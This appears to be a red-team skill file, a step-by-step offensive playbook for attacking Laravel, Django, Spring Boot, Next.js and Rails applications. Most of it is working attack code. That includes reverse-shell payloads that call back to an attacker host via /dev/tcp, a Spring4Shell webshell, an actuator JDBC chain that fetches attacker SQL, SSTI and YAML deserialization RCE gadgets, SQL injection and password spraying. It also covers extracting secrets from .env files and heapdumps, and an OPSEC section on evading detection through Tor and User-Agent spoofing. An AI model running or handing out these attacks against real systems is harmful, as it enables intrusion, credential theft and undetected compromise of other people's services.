---
name: rt-exploit-frameworks
description: "Framework-specific web attack skill. Covers Laravel (debug mode, mass assignment, .env exposure, file upload bypass), Django (debug mode, admin enumeration, SSTI in templates), Spring Boot (Actuator endpoints, Spring4Shell, Spring Security bypass), Next.js (middleware bypass, SSRF), and Ruby on Rails (mass assignment, YAML deserialization, SQL injection via ActiveRecord)."
---

# rt-exploit-frameworks — Framework-Specific Web Attack Skill

## 1. Overview and When to Use

Modern web applications are built on opinionated frameworks that introduce their own unique attack surfaces: framework-specific debug modes, ORM quirks, built-in serialization, configuration exposure endpoints, and middleware assumptions. A skilled red team operator exploits these framework-native weaknesses rather than relying solely on generic web vulnerabilities.

Use this skill when:
- Target fingerprinting reveals a known framework (Laravel, Django, Spring Boot, Next.js, Ruby on Rails)
- You observe framework-specific error messages, headers (`X-Powered-By`, stack traces), or URL patterns
- Scope includes API backends, admin panels, or microservices built on these stacks
- You have identified debug/development mode active in production
- Mass assignment, deserialization, or SSTI vectors are suspected
- Actuator or management endpoints are exposed (Spring Boot)
- You need to chain framework weaknesses into full compromise

### Attack Surface Map

```
Laravel
├── .env exposure                  → DB credentials, APP_KEY, secrets
├── Debug mode (APP_DEBUG=true)    → Stack traces, RCE via Ignition (__destruct chains)
├── Mass Assignment                → Privilege escalation via fillable model fields
├── File Upload Bypass             → Webshell via MIME/extension confusion
└── Deserialization (Laravel < 8)  → RCE via gadget chains

Django
├── DEBUG=True                     → Settings dump, SQL queries, internal paths
├── Admin enumeration              → /admin/ bruteforce, username timing oracle
├── SSTI in templates              → RCE if user input reaches render() unsanitized
├── CSRF bypass                    → Forced state change on authed sessions
└── Insecure Direct Object Ref     → Model .filter() with untrusted input

Spring Boot
├── Actuator endpoints             → /actuator/env, /actuator/heapdump, /actuator/mappings
├── Spring4Shell (CVE-2022-22965) → ClassLoader manipulation → RCE
├── Spring Security bypass         → Trailing slash, null byte, path normalization
├── SpEL injection                 → RCE via Spring Expression Language in annotations
└── Deserialization (Java)         → ysoserial gadget chains via remoting protocols

Next.js
├── Middleware bypass              → CVE-2025-29927, x-middleware-subrequest header
├── SSRF via getServerSideProps    → Server-side fetches to internal services
├── Path traversal in API routes   → Misconfigured catch-all routes
└── Environment variable leakage   → NEXT_PUBLIC_ prefix bypasses server/client boundary

Ruby on Rails
├── Mass Assignment                → attr_accessible bypass, strong_parameters gap
├── YAML deserialization           → RCE via Marshal/YAML on untrusted cookies/params
├── SQL injection via ActiveRecord → string interpolation in .where() clauses
├── Path traversal                 → send_file() with user-controlled filename
└── CSRF token bypass              → Null origin, same-site confusion
```

---

## 2. Prerequisites and Setup

### Required Tools

```bash
# Core HTTP tools
sudo apt install curl wget burpsuite

# ffuf — framework-aware fuzzing
sudo apt install ffuf

# nuclei — template-based framework detection and vuln scanning
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Download framework-specific templates
nuclei -update-templates

# wfuzz — parameter and path fuzzing
pip3 install wfuzz

# ysoserial — Java deserialization payloads (Spring Boot)
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O /opt/ysoserial.jar

# gron — flatten JSON (useful for parsing /actuator/env output)
sudo apt install gron

# hakrawler — crawl Next.js/Rails/Django apps for routes
go install github.com/hakluke/hakrawler@latest

# python3 tooling
pip3 install requests httpx pwncat-cs

# katana — active crawler with JS parsing (Next.js)
go install github.com/projectdiscovery/katana/cmd/katana@latest

# ruby exploit helpers (local Rails testing)
gem install bundler

# httpx — fast HTTP probing with framework detection
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

# whatweb — framework fingerprinting
sudo apt install whatweb

# nmap with http-enum script
sudo apt install nmap
```

### Environment Setup

```bash
# Create engagement workspace
mkdir -p ~/engagements/$TARGET/{recon,exploits,loot,screenshots}
export TARGET="target.com"
export LHOST="10.10.14.5"       # Your attack box IP
export LPORT="4444"
export WORDLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt"
```

---

## 3. Skill Levels

### BEGINNER — Detection and Passive Exploitation

**Goal:** Fingerprint frameworks, collect low-hanging fruit, identify debug modes and config exposure.

Techniques:
- Framework fingerprinting via headers, error pages, URL patterns
- .env file exposure enumeration
- Django /admin/ enumeration
- Spring Boot Actuator discovery
- Nuclei template scanning

### INTERMEDIATE — Active Exploitation of Known Weaknesses

**Goal:** Exploit mass assignment, SSTI, path traversal, and Actuator data extraction for credentials.

Techniques:
- Laravel mass assignment via API parameter injection
- Django SSTI in custom template tags
- Spring Boot /actuator/env credential extraction and /actuator/heapdump analysis
- Next.js middleware bypass (CVE-2025-29927)
- Rails SQL injection via ActiveRecord string interpolation

### ADVANCED — RCE and Chain Attacks

**Goal:** Achieve remote code execution through framework-native vectors, chain findings for full compromise.

Techniques:
- Laravel Ignition RCE (CVE-2021-3129) via debug mode log poisoning
- Django SSTI to OS command execution
- Spring4Shell (CVE-2022-22965) exploitation
- Spring Boot heapdump credential extraction with jhat/Eclipse MAT
- Rails YAML deserialization RCE

### EXPERT — Post-Auth Escalation, Novel Chaining, CI/CD Pivot

**Goal:** Leverage framework internals for privilege escalation, lateral movement, and persistent access.

Techniques:
- Laravel APP_KEY extraction → Forge signed cookies → Admin takeover
- Django SECRET_KEY extraction → Session forgery → Admin RCE via admin command execution
- Spring Boot /actuator/gateway route manipulation to proxy internal traffic
- Next.js SSRF via getServerSideProps chained into cloud metadata retrieval
- Rails mass assignment on Devise model to set admin: true or confirmed_at bypass

---

## 4. Step-by-Step Attack Workflow

### Phase 1 — Framework Fingerprinting

**Step 1: Passive fingerprinting**

```bash
# WhatWeb fingerprint
whatweb -v https://$TARGET

# Check response headers
curl -sI https://$TARGET | grep -iE "(x-powered-by|server|x-generator|x-runtime|x-frame)"

# Nuclei framework detection
nuclei -u https://$TARGET -tags tech -silent

# httpx with tech detection
echo $TARGET | httpx -tech-detect -status-code -title -silent
```

**Step 2: Framework-specific URL probing**

```bash
# Laravel indicators
curl -sk https://$TARGET/.env
curl -sk https://$TARGET/storage/logs/laravel.log | tail -100
curl -sk https://$TARGET/api/user          # Sanctum/Passport auth test

# Django indicators
curl -sk https://$TARGET/admin/
curl -sk https://$TARGET/admin/login/
curl -sk https://$TARGET/__debug__/        # django-debug-toolbar

# Spring Boot Actuator
for ep in health info env beans mappings heapdump logfile metrics httptrace; do
  echo "[$ep]: $(curl -sk https://$TARGET/actuator/$ep | head -c 200)"
  echo "---"
done

# Next.js indicators
curl -sk https://$TARGET/_next/static/chunks/main.js | grep -o '"version":"[^"]*"' | head -3
curl -sk "https://$TARGET/_next/image?url=http://169.254.169.254/" # SSRF test

# Rails indicators
curl -sI https://$TARGET | grep -i "x-runtime"   # Ruby runtime header
curl -sk https://$TARGET/rails/info/properties    # Only in dev mode
```

**Step 3: Error page analysis**

```bash
# Trigger 404s and observe stack traces
curl -sk "https://$TARGET/DOESNOTEXIST_$(date +%s)"
curl -sk "https://$TARGET/api/DOESNOTEXIST"

# Trigger errors with malformed input
curl -sk "https://$TARGET/api/user" -d "test=<invalid>"
```

---

### Phase 2 — Laravel Exploitation

**Step 4: .env and configuration exposure**

```bash
# Direct .env access (misconfigured nginx/apache without deny rules)
curl -sk https://$TARGET/.env
curl -sk https://$TARGET/.env.backup
curl -sk https://$TARGET/.env.production
curl -sk https://$TARGET/public/.env

# Laravel log exposure
ffuf -u "https://$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -mc 200 -fc 301 -fs 0 -o laravel-files.json

# Storage directory listing
curl -sk https://$TARGET/storage/
curl -sk https://$TARGET/storage/logs/laravel.log
```

**Step 5: Laravel debug mode RCE (CVE-2021-3129)**

```bash
# Check if Ignition is active
curl -sk https://$TARGET/_ignition/health-check

# Clone exploit
git clone https://github.com/ambionics/laravel-exploits.git /opt/laravel-exploits
pip3 install -r /opt/laravel-exploits/requirements.txt

# Also need phpggc
git clone https://github.com/ambionics/phpggc.git /opt/phpggc

# Generate chain — whoami
php /opt/phpggc/phpggc --phar phar -o /tmp/exploit.phar Laravel/RCE5 "id"

# Execute against debug endpoint
python3 /opt/laravel-exploits/laravel-ignition-rce.py \
  https://$TARGET /tmp/exploit.phar

# Reverse shell payload
php /opt/phpggc/phpggc --phar phar -o /tmp/shell.phar Laravel/RCE5 \
  "system('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"');"

# Start listener
nc -lvnp $LPORT &

python3 /opt/laravel-exploits/laravel-ignition-rce.py \
  https://$TARGET /tmp/shell.phar
```

**Step 6: Laravel mass assignment exploitation**

```bash
# Enumerate model fields via API error messages or source code
curl -sk https://$TARGET/api/register \
  -H "Content-Type: application/json" \
  -d '{"name":"test","email":"test@test.com","password":"Test1234!","is_admin":true,"role":"admin","admin":1}'

# Check if registration succeeded with elevated role
curl -sk https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"Test1234!"}'

# Test profile update endpoint for mass assignment
TOKEN="eyJ..."  # JWT or session token from login
curl -sk https://$TARGET/api/user \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X PUT \
  -d '{"name":"hacker","is_admin":true,"role_id":1,"confirmed":true}'
```

---

### Phase 3 — Django Exploitation

**Step 7: Django admin enumeration**

```bash
# Check if admin is exposed
curl -sk https://$TARGET/admin/ -L -I

# Username enumeration via timing (valid user = longer response)
ffuf -u "https://$TARGET/admin/login/" \
  -X POST \
  -d "username=FUZZ&password=wrongpassword&csrfmiddlewaretoken=$(curl -sc /tmp/dj.cookies https://$TARGET/admin/login/ | grep csrftoken | awk '{print $7}')" \
  -H "Cookie: $(cat /tmp/dj.cookies | awk 'NR>4{print $6"="$7}' | tr '\n' ';')" \
  -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -mr "Please enter the correct username" \
  -t 10

# Password spray against known users
for user in admin administrator django superuser; do
  for pass in admin Password1 django123 admin123; do
    CSRF=$(curl -sc /tmp/dj${user}.cookies -sk https://$TARGET/admin/login/ | grep -oP 'csrfmiddlewaretoken" value="\K[^"]+')
    resp=$(curl -sk https://$TARGET/admin/login/ \
      -b /tmp/dj${user}.cookies \
      -c /tmp/dj${user}.cookies \
      -d "username=$user&password=$pass&csrfmiddlewaretoken=$CSRF")
    echo "$user:$pass -> $(echo $resp | grep -c 'Site administration')"
  done
done
```

**Step 8: Django SSTI exploitation**

```bash
# Test for template injection in parameters/headers
# Payloads to try: {{7*7}}, {%if 1==1%}VULN{%endif%}, {{request.META}}

# Test GET parameters
curl -sk "https://$TARGET/search/?q={{7*7}}"
curl -sk "https://$TARGET/search/?q={% verbatim %}{{7*7}}{% endverbatim %}"

# Test POST data fields (contact forms, feedback, etc.)
curl -sk "https://$TARGET/contact/" \
  -d "name={{7*7}}&email=test@test.com&message=test"

# If SSTI confirmed (output shows 49), escalate to RCE:
# Django Jinja2 RCE payload
PAYLOAD='{{''.__class__.__mro__[1].__subclasses__()[396]("id",shell=True,stdout=-1).communicate()[0].decode()}}'

curl -sk "https://$TARGET/search/?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Alternative — find Popen subclass dynamically
python3 << 'EOF'
# Run locally to find correct subclass index
import subprocess
# Payload to enumerate subclasses:
payload = "{{''.__class__.__mro__[1].__subclasses__()}}"
# Then search output for 'subprocess.Popen' and note its index
EOF

# Reverse shell via SSTI
RSHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
PAYLOAD="{{''.__class__.__mro__[1].__subclasses__()[396](\"$RSHELL\",shell=True)}}"
curl -sk "https://$TARGET/search/?q=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")"
```

---

### Phase 4 — Spring Boot Exploitation

**Step 9: Actuator discovery and data extraction**

```bash
# Discover actuator base path (may not be /actuator)
ffuf -u "https://$TARGET/FUZZ/health" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -mc 200 -fs 0 -silent

# List all exposed endpoints
curl -sk https://$TARGET/actuator | python3 -m json.tool

# Extract environment variables (credentials in plaintext or masked)
curl -sk https://$TARGET/actuator/env | python3 -m json.tool | grep -iE "(password|secret|key|token|credential)" | head -30

# Reveal masked (*) values by posting to /actuator/env (Spring Boot < 2.4 with write enabled)
curl -sk https://$TARGET/actuator/env \
  -H "Content-Type: application/json" \
  -X POST \
  -d '{"name":"spring.datasource.password","value":"x"}'

# Get all beans for attack surface mapping
curl -sk https://$TARGET/actuator/beans | python3 -m json.tool | grep -i "context\|controller\|service" | head -40

# Mappings — enumerate all endpoints
curl -sk https://$TARGET/actuator/mappings | python3 -m json.tool > /tmp/mappings.json
cat /tmp/mappings.json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for ctx in data.get('contexts',{}).values():
    for mapping,v in ctx.get('mappings',{}).get('dispatcherServlets',{}).get('dispatcherServlet',[]):
        print(mapping)
" 2>/dev/null || cat /tmp/mappings.json | grep -oP '"pattern":"[^"]*"' | sort -u
```

**Step 10: Heapdump credential extraction**

```bash
# Download heapdump (can be 100s MB — check scope/size first)
curl -sk https://$TARGET/actuator/heapdump -o /tmp/heapdump.hprof

# Quick string extraction for credentials
strings /tmp/heapdump.hprof | grep -iE "(password|passwd|secret|apikey|token|bearer)" | grep -v "^#" | head -50

# Extract database URLs
strings /tmp/heapdump.hprof | grep -iE "jdbc:|mongodb://|redis://|postgresql://" | head -20

# Use Eclipse Memory Analyzer (MAT) for deep analysis
# Download: https://www.eclipse.org/mat/downloads.php
# Or use jhat (bundled with JDK)
jhat -J-Xmx4g /tmp/heapdump.hprof &
# Browse to http://localhost:7000

# Automated extraction with heapdump-tool
pip3 install heapdump-tool 2>/dev/null || true
python3 -c "
with open('/tmp/heapdump.hprof','rb') as f:
    data = f.read()
import re
# Find strings that look like passwords
for m in re.finditer(b'[A-Za-z0-9+/]{20,}={0,2}', data):
    val = m.group(0)
    try:
        import base64
        decoded = base64.b64decode(val).decode('utf-8','ignore')
        if any(c.isalpha() for c in decoded) and len(decoded) > 8:
            print(f'B64: {decoded[:100]}')
    except: pass
" | head -30
```

**Step 11: Spring4Shell exploitation (CVE-2022-22965)**

```bash
# Affected: Spring Framework 5.3.0-17, 5.2.0-19 + JDK 9+, deployed as WAR on Tomcat

# Check version indicators
curl -sk https://$TARGET/actuator/info | grep -i spring
curl -sk https://$TARGET/ -I | grep -i "Server:"

# Clone exploit
git clone https://github.com/reznok/Spring4Shell-POC.git /opt/spring4shell

# Test for vulnerability (POST to any Spring MVC endpoint)
curl -sk https://$TARGET/ \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
  -H "c1: Runtime" \
  -H "c2: <%" \
  -H "suffix: %>"

# If successful, webshell is written to /tomcatwar.jsp
curl -sk "https://$TARGET/tomcatwar.jsp?pwd=j&cmd=id"

# Automated exploit
cd /opt/spring4shell && python3 exploit.py --url https://$TARGET
```

---

### Phase 5 — Next.js Exploitation

**Step 12: Middleware bypass (CVE-2025-29927)**

```bash
# Affected: Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5
# Vulnerability: x-middleware-subrequest header bypasses middleware auth checks

# Test if middleware bypass works on protected routes
curl -sk https://$TARGET/admin \
  -H "x-middleware-subrequest: middleware" \
  -v 2>&1 | grep -E "HTTP/|Location:|Set-Cookie:"

# Try common protected paths
for path in /admin /dashboard /api/admin /internal /private /api/internal; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" https://$TARGET$path \
    -H "x-middleware-subrequest: middleware")
  code_bypass=$(curl -sk -o /dev/null -w "%{http_code}" https://$TARGET$path \
    -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware")
  echo "$path | Normal: $code | Bypass: $code_bypass"
done

# Multiple colon variations for bypass
for bypass in "middleware" "src/middleware" "middleware:middleware" \
              "pages/_middleware" "pages/api/_middleware"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" https://$TARGET/admin \
    -H "x-middleware-subrequest: $bypass")
  echo "Header '$bypass': $code"
done
```

**Step 13: Next.js SSRF via server-side props**

```bash
# Next.js API routes with user-controlled URL parameters
# Test common patterns: ?url=, ?endpoint=, ?redirect=, ?src=, ?callback=

# Internal metadata service SSRF
curl -sk "https://$TARGET/api/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -sk "https://$TARGET/api/fetch?endpoint=http://169.254.169.254/latest/meta-data/"
curl -sk "https://$TARGET/api/image?src=http://169.254.169.254/"

# Next.js Image Optimization SSRF (if misconfigured)
curl -sk "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name&w=100&q=75"

# Internal service discovery
for port in 80 443 3000 8080 8443 9200 6379 5432 3306 27017; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 \
    "https://$TARGET/api/proxy?url=http://127.0.0.1:$port/")
  echo "Port $port: $code"
done

# If running in Kubernetes, check k8s API
curl -sk "https://$TARGET/api/proxy?url=http://10.96.0.1:443/api/v1/namespaces"
```

---

### Phase 6 — Ruby on Rails Exploitation

**Step 14: Rails mass assignment**

```bash
# Rails 4+ uses strong_parameters — look for permit! or missing params filtering
# Test user creation/update with extra attributes
curl -sk https://$TARGET/users \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"pwned@evil.com","password":"Test1234!","admin":true,"role":"admin","is_admin":true}}'

# Nested attribute injection
curl -sk https://$TARGET/api/v1/profile \
  -X PATCH \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"user":{"name":"hacked","admin":true,"confirmed_at":"2020-01-01","role_id":1}}'

# Devise model bypass — confirm account or set admin via mass assignment
curl -sk https://$TARGET/api/users \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"x@x.com","password":"Test1234!","password_confirmation":"Test1234!","confirmed_at":"2020-01-01T00:00:00Z","confirmation_token":""}}'
```

**Step 15: Rails ActiveRecord SQL injection**

```bash
# Test for SQL injection in search/filter endpoints
# Vulnerable pattern: Model.where("name = '#{params[:name]}'")

# Test for error-based SQLi
curl -sk "https://$TARGET/api/users?name=test'" | grep -iE "(error|sql|sqlite|mysql|postgres|syntax)"

# Union-based for PostgreSQL (Rails default)
curl -sk "https://$TARGET/api/users?search=') UNION SELECT null,version(),null--"
curl -sk "https://$TARGET/search?q=') UNION SELECT null,string_agg(table_name,','),null FROM information_schema.tables--"

# Time-based blind SQLi
time curl -sk "https://$TARGET/api/users?name=') OR pg_sleep(5)--"

# Order injection (often overlooked in Rails)
curl -sk "https://$TARGET/api/users?sort=name,(SELECT%20pg_sleep(5))"
curl -sk "https://$TARGET/api/articles?order=(CASE%20WHEN%20(SELECT%20current_user)='postgres'%20THEN%20title%20ELSE%20id%20END)"

# sqlmap against suspected endpoint
sqlmap -u "https://$TARGET/api/users?search=test" \
  -H "Authorization: Bearer $TOKEN" \
  --dbms=postgresql --level=3 --risk=2 \
  --batch --random-agent \
  -p search
```

**Step 16: Rails YAML deserialization**

```bash
# Affected: Rails < 5.x with YAML-signed cookies or YAML.load(user_input)
# Check for _session_id cookie or YAML content types

# Decode Rails session cookie (pre-6.x)
ruby -e "
require 'base64'
cookie = ENV['COOKIE'].split('--')[0]
puts Base64.decode64(cookie)
" COOKIE="$(curl -sc /tmp/rails.cookies -sk https://$TARGET/ && cat /tmp/rails.cookies | grep _session | awk '{print $7}')"

# Generate Rails YAML RCE payload (requires ruby locally)
# Use universal RCE gadget chain
cat > /tmp/rails_yaml_rce.rb << 'RUBYEOF'
require 'yaml'

# RCE via Gem::Requirement (works across Ruby versions)
code = "id | tee /tmp/rce_proof.txt"
payload = "--- !ruby/object:Gem::Requirement\nrequirements:\n  !ruby/object:Gem::Package::TarReader\n  io: &1 !ruby/object:Net::BufferedIO\n    io: &1 !ruby/object:Gem::Package::TarReader::Entry\n      read: 0\n      header: \"abc\"\n    debug_output: &1 !ruby/object:Net::WriteAdapter\n      socket: &1 !ruby/object:Gem::RequestSet\n          sets: !ruby/object:Net::WriteAdapter\n              socket: !ruby/module 'Kernel'\n              method_id: :system\n          git_set: \"#{code}\"\n      method_id: :resolve\n"
puts [payload].pack("m0")
RUBYEOF
ruby /tmp/rails_yaml_rce.rb
```

---

## 5. Real Attack Scenarios

### Scenario A: Laravel .env to Full Admin RCE

**Context:** E-commerce platform on Laravel 8, nginx misconfiguration exposing .env

```bash
# 1. Confirm framework
curl -sI https://$TARGET | grep -i "x-powered-by"
whatweb https://$TARGET

# 2. Grab .env file
curl -sk https://$TARGET/.env > /tmp/env_dump.txt
cat /tmp/env_dump.txt

# 3. Extract APP_KEY and DB credentials
APP_KEY=$(grep APP_KEY /tmp/env_dump.txt | cut -d= -f2)
DB_PASS=$(grep DB_PASSWORD /tmp/env_dump.txt | cut -d= -f2)
DB_USER=$(grep DB_USERNAME /tmp/env_dump.txt | cut -d= -f2)
DB_NAME=$(grep DB_DATABASE /tmp/env_dump.txt | cut -d= -f2)
DB_HOST=$(grep DB_HOST /tmp/env_dump.txt | cut -d= -f2)

echo "[*] APP_KEY: $APP_KEY"
echo "[*] DB: $DB_USER:$DB_PASS@$DB_HOST/$DB_NAME"

# 4. Forge admin session using APP_KEY
# (Use laravel-forge-cookie tool or manual PHP)
cat > /tmp/forge_session.php << 'PHPEOF'
<?php
// Install: composer require illuminate/encryption
require_once 'vendor/autoload.php';
use Illuminate\Encryption\Encrypter;

$key = base64_decode(str_replace('base64:', '', getenv('APP_KEY')));
$encrypter = new Encrypter($key, 'AES-256-CBC');

$payload = ['user_id' => 1, 'is_admin' => true, '_token' => 'forge'];
echo $encrypter->encrypt(serialize($payload));
PHPEOF
# Run with: APP_KEY=$APP_KEY php /tmp/forge_session.php

# 5. Connect to DB directly if host reachable
mysql -u $DB_USER -p$DB_PASS -h $DB_HOST $DB_NAME \
  -e "SELECT id,email,password,is_admin FROM users LIMIT 20;" 2>/dev/null

# 6. If debug mode also active, chain to RCE
curl -sk https://$TARGET/_ignition/health-check
# If 200 → proceed with CVE-2021-3129 as in Phase 2

# 7. Document
echo "[CRITICAL] Laravel .env exposed at https://$TARGET/.env" > ~/engagements/$TARGET/loot/laravel_env.md
echo "APP_KEY: $APP_KEY" >> ~/engagements/$TARGET/loot/laravel_env.md
echo "DB creds: $DB_USER:$DB_PASS@$DB_HOST" >> ~/engagements/$TARGET/loot/laravel_env.md
```

---

### Scenario B: Spring Boot Actuator to RCE via Heapdump + JDBC

**Context:** Internal API gateway with /actuator exposed, heapdump returns DB credentials, SSRF available

```bash
# 1. Discover Actuator
curl -sk https://$TARGET/actuator | python3 -m json.tool | grep href

# 2. Extract all env vars
curl -sk https://$TARGET/actuator/env | python3 -m json.tool > /tmp/actuator_env.json
cat /tmp/actuator_env.json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for ps in data.get('propertySources',[]):
    for k,v in ps.get('properties',{}).items():
        val = v.get('value','')
        if any(x in k.lower() for x in ['password','secret','key','token','credential']):
            print(f'{k} = {val}')
"

# 3. Download heapdump
echo "[*] Downloading heapdump (may take minutes)..."
curl -sk https://$TARGET/actuator/heapdump -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# 4. Extract credentials from heapdump
strings /tmp/heapdump.hprof | grep -iE "jdbc:|password|apikey|secret" | sort -u | head -40

# 5. Extract AWS creds if running on EC2
strings /tmp/heapdump.hprof | grep -iE "AKIA[0-9A-Z]{16}" | head -5
strings /tmp/heapdump.hprof | grep -A1 "aws_secret" | head -10

# 6. Use extracted DB credentials to connect
DB_URL=$(strings /tmp/heapdump.hprof | grep "jdbc:postgresql" | head -1)
echo "[*] DB URL: $DB_URL"

# 7. If logfile actuator available, inject spring.datasource via env actuator
# Then trigger /actuator/restart to load new datasource (for JDBC SSRF)
curl -sk https://$TARGET/actuator/env \
  -H "Content-Type: application/json" \
  -X POST \
  -d '{"name":"spring.datasource.url","value":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '\''http://'$LHOST'/evil.sql'\'';"}'

# Start HTTP server with malicious SQL
echo "CREATE ALIAS EXEC AS \$\$String exec(String cmd) throws Exception { Runtime rt = Runtime.getRuntime(); String[] commands = new String[] { \"/bin/sh\", \"-c\", cmd }; Process proc = rt.exec(commands); return \"done\"; }\$\$; CALL EXEC('curl $LHOST/$LPORT/rce');" > /tmp/evil.sql
python3 -m http.server 80 &

# Restart context to trigger SQL execution
curl -sk https://$TARGET/actuator/restart -X POST -H "Content-Type: application/json"

# 8. Document all extracted credentials
echo "[CRITICAL] Spring Boot Actuator exposed sensitive data" > ~/engagements/$TARGET/loot/actuator.md
```

---

### Scenario C: Next.js Middleware Bypass to Unauthenticated Admin Access

**Context:** SaaS dashboard with Next.js middleware enforcing auth on /dashboard and /admin routes

```bash
# 1. Identify Next.js version
curl -sk https://$TARGET/_next/static/chunks/polyfills.js | head -5
curl -sk https://$TARGET/ | grep -oP '"version":"[^"]*"'

# 2. Map protected routes via crawling
katana -u https://$TARGET -depth 3 -silent | grep -E "(/admin|/dashboard|/internal|/private|/api/admin)"

# 3. Confirm routes are protected normally
for route in /admin /dashboard /admin/users /api/admin/config; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" -L https://$TARGET$route)
  echo "Normal $route: $code"
done

# 4. Test middleware bypass variants
BYPASS_HEADER_VALUES=(
  "middleware"
  "src/middleware"
  "middleware:middleware"
  "pages/_middleware"
  "pages/api/_middleware"
  "middleware:src/middleware"
  "src/middleware:middleware"
)

for route in /admin /dashboard /api/admin/config; do
  for bypass in "${BYPASS_HEADER_VALUES[@]}"; do
    code=$(curl -sk -o /dev/null -w "%{http_code}" \
      -H "x-middleware-subrequest: $bypass" \
      https://$TARGET$route)
    if [ "$code" -ne 401 ] && [ "$code" -ne 302 ] && [ "$code" -ne 403 ]; then
      echo "[BYPASSED!] Route: $route | Header: $bypass | Code: $code"
    fi
  done
done

# 5. Extract content from bypassed admin route
curl -sk https://$TARGET/admin \
  -H "x-middleware-subrequest: middleware" \
  -o /tmp/admin_page.html

curl -sk https://$TARGET/api/admin/users \
  -H "x-middleware-subrequest: middleware" \
  | python3 -m json.tool > /tmp/admin_users.json

# 6. Check for sensitive API endpoints now accessible
for api in /api/admin/config /api/admin/keys /api/admin/env /api/settings /api/secrets; do
  resp=$(curl -sk https://$TARGET$api -H "x-middleware-subrequest: middleware")
  echo "--- $api ---"
  echo "$resp" | python3 -m json.tool 2>/dev/null || echo "$resp" | head -3
done

# 7. Screenshot evidence
# (Use chromium --headless or GoWitness for screenshot)
gowitness single "https://$TARGET/admin" --header "x-middleware-subrequest: middleware" \
  -o ~/engagements/$TARGET/screenshots/

# 8. Document
cat > ~/engagements/$TARGET/loot/nextjs_bypass.md << EOF
## CVE-2025-29927 — Next.js Middleware Auth Bypass

**Target:** https://$TARGET
**Vulnerable routes:** /admin, /api/admin/*
**Bypass header:** x-middleware-subrequest: middleware
**Impact:** Unauthenticated access to admin panel and all admin API endpoints
**Evidence:** admin_page.html, admin_users.json
EOF
```

---

## 6. OPSEC Considerations

### Detection Risks by Attack Type

| Attack | Detection Risk | Triggered By |
|---|---|---|
| .env file access | Medium | Web server access logs, WAF rules for .env |
| Actuator endpoint scanning | High | Rapid sequential 404s/200s on /actuator/* paths |
| Heapdump download | High | Large response (100+ MB) to single request |
| CVE-2021-3129 (Laravel) | High | POST to /_ignition/execute-solution with file:// scheme |
| Spring4Shell | Critical | POST with ClassLoader parameter manipulation |
| SSTI probing | Medium-High | Template syntax in parameters (`{{`, `{%`) |
| SQL injection | Medium | Error responses, time-delayed requests |
| Mass assignment | Low | Extra JSON fields in legitimate-looking requests |
| Next.js middleware bypass | Low | Single header addition to normal requests |

### Mitigation Techniques

```bash
# 1. Rate limiting — slow down probing
# Add delay between requests
for ep in health info env beans mappings; do
  curl -sk https://$TARGET/actuator/$ep
  sleep $(( RANDOM % 5 + 3 ))   # 3-8 second random delay
done

# 2. User-Agent rotation — avoid default tool signatures
curl -sk https://$TARGET/.env \
  -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0"

# 3. Use ffuf with rate limiting
ffuf -u "https://$TARGET/FUZZ" -w $WORDLIST \
  -rate 10 \                   # Max 10 req/sec
  -p "0.1-0.5" \               # Random delay 0.1-0.5s between requests
  -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)"

# 4. Distribute requests — avoid single-source detection
# Route through Tor or proxy chain for sensitive tests
proxychains4 curl -sk https://$TARGET/.env

# 5. Avoid loud scanners during active detection windows
# Do NOT run: nikto, sqlmap with --level=5, nuclei -tags rce in business hours
# Save automated scans for off-hours or explicitly approved windows per ROE

# 6. Heapdump — alert on size
# Check Content-Length before downloading
curl -sk -I https://$TARGET/actuator/heapdump | grep -i "content-length"
# If > 500MB, get explicit approval before downloading

